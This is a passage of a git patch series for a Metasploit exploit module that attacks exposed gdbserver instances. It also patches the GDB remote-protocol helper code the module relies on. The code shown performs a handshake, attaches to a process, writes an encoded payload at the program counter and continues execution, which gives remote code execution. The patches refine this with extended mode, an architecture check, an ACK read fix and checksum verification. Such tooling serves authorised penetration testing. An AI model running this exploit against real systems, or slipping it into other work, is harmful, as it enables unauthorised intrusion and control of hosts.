process_info.values_at :pc, :arch + begin + print_status "Stepping program to find PC..." + gdb_data = process_info + rescue BadAckError, BadResponseError + # gdbserver is running with the --multi flag and is not currently + # attached to any process. let's attach to /bin/true or something. + print_status "No process loaded, attempting to load /bin/true..." + run(datastore['EXE_FILE']) + gdb_data = process_info + end - p = regenerate_payload(nil, gdb_arch, nil) + gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch) + + unless payload.arch.include? gdb_arch + fail_with( + Msf::Exploit::Failure::BadConfig, + "The payload architecture is incorrect: "+ + "the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb." + ) + end print_status "Writing payload at #{gdb_pc}..." - write(p.encoded, gdb_pc) + write(payload.encoded, gdb_pc) print_status "Executing the payload..." continue From 0e18d69aabc071868a72c7c2f73e198988d30cf1 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Wed, 3 Sep 2014 16:07:27 -0500 Subject: [PATCH 14/16] Add extended mode to prevent service from dying. --- lib/msf/core/exploit/gdb.rb | 5 +++++ modules/exploits/multi/gdb/gdb_server_exec.rb | 2 ++ 2 files changed, 7 insertions(+) diff --git a/lib/msf/core/exploit/gdb.rb b/lib/msf/core/exploit/gdb.rb index 5dc3fd9e5f..a229befeaf 100644 --- a/lib/msf/core/exploit/gdb.rb +++ b/lib/msf/core/exploit/gdb.rb @@ -158,6 +158,11 @@ module Exploit::Remote::Gdb read_response end + def enable_extended_mode + send_cmd("!") + read_response + end + # Performs a handshake packet exchange # @param features [String] the list of supported features to tell the remote # host that the client supports (defaults to +DEFAULT_GDB_FEATURES+) diff --git a/modules/exploits/multi/gdb/gdb_server_exec.rb b/modules/exploits/multi/gdb/gdb_server_exec.rb index ccb1daaa88..21083b6808 100644 --- a/modules/exploits/multi/gdb/gdb_server_exec.rb +++ b/modules/exploits/multi/gdb/gdb_server_exec.rb @@ -43,6 +43,8 @@ class Metasploit3 < Msf::Exploit::Remote print_status "Performing handshake with gdbserver..." handshake + enable_extended_mode + begin print_status "Stepping program to find PC..." gdb_data = process_info From b6e04599a75d92ac350b65d83d9f019c48c0782a Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 5 Sep 2014 12:28:37 -0500 Subject: [PATCH 15/16] Fix read_ack to read only the ACK It was reading the response, too. Also removed an extraneous send_ack. --- lib/msf/core/exploit/gdb.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/gdb.rb b/lib/msf/core/exploit/gdb.rb index a229befeaf..08af253886 100644 --- a/lib/msf/core/exploit/gdb.rb +++ b/lib/msf/core/exploit/gdb.rb @@ -39,7 +39,7 @@ module Exploit::Remote::Gdb # Reads an ACK packet from the wire # @raise [BadAckError] if a bad ACK is received def read_ack - unless sock.get_once == '+' + unless sock.get_once(1) == '+' raise BadAckError end vprint_status('Received ack...') @@ -167,7 +167,6 @@ module Exploit::Remote::Gdb # @param features [String] the list of supported features to tell the remote # host that the client supports (defaults to +DEFAULT_GDB_FEATURES+) def handshake(features=GDB_FEATURES) - send_ack send_cmd features read_response # lots of flags, nothing interesting end From 5c1d95812c42800ffeef964c8bdcb979a726ab31 Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 5 Sep 2014 14:13:42 -0500 Subject: [PATCH 16/16] Add verify_checksum and use it Also fixed a YARD typo. --- lib/msf/core/exploit/gdb.rb | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/gdb.rb b/lib/msf/core/exploit/gdb.rb index 08af253886..d6c7cb2cf7 100644 --- a/lib/msf/core/exploit/gdb.rb +++ b/lib/msf/core/exploit/gdb.rb @@ -21,6 +21,9 @@ module Exploit::Remote::Gdb # thrown when a response is incorrect class BadResponseError < RuntimeError; end + # thrown when a checksum is invalid + class BadChecksumError < RuntimeError; end + # Default list of supported GDB features to send the to the target GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;' @@ -58,12 +61,15 @@ module Exploit::Remote::Gdb # Reads (and possibly decodes) from the socket and sends an ACK to verify receipt # @param opts [Hash] the options hash # @option opts :decode [Boolean] rle decoding should be applied to the response + # @option opts :verify [Boolean] verify the response's checksum # @return [String] the response # @raise [BadResponseError] if the expected response is missing + # @raise [BadChecksumError] if the checksum is invalid def read_response(opts={}) - decode = opts.fetch(:decode, false) + decode, verify = opts.fetch(:decode, false), opts.fetch(:verify, true) res = sock.get_once raise BadResponseError if res.nil? + raise BadChecksumError if (verify && !verify_checksum(res)) res = decode_rle(res) if decode vprint_status('Result: '+res) send_ack @@ -86,12 +92,20 @@ module Exploit::Remote::Gdb # The two-digit checksum is computed as the modulo 256 sum of all characters # between the leading ‘$’ and the trailing ‘#’ (an eight bit unsigned checksum). - # @param [String] str the string to calculate the checksum of + # @param str [String] the string to calculate the checksum of # @return [String] hex string containing checksum def checksum(str) "%02x" % str.bytes.inject(0) { |b, sum| (sum+b)%256 } end + # Verifies a response's checksum + # @param res [String] the response to check + # @return [Boolean] whether the checksum is valid + def verify_checksum(res) + msg, chksum = res.match(/^\$(.*)#(\h{2})$/)[1..2] + checksum(msg) == chksum + end + # Writes the buffer +buf+ to the address +addr+ in the remote process's memory # @param buf [String] the buffer to write # @param addr [String] the hex-encoded address to write to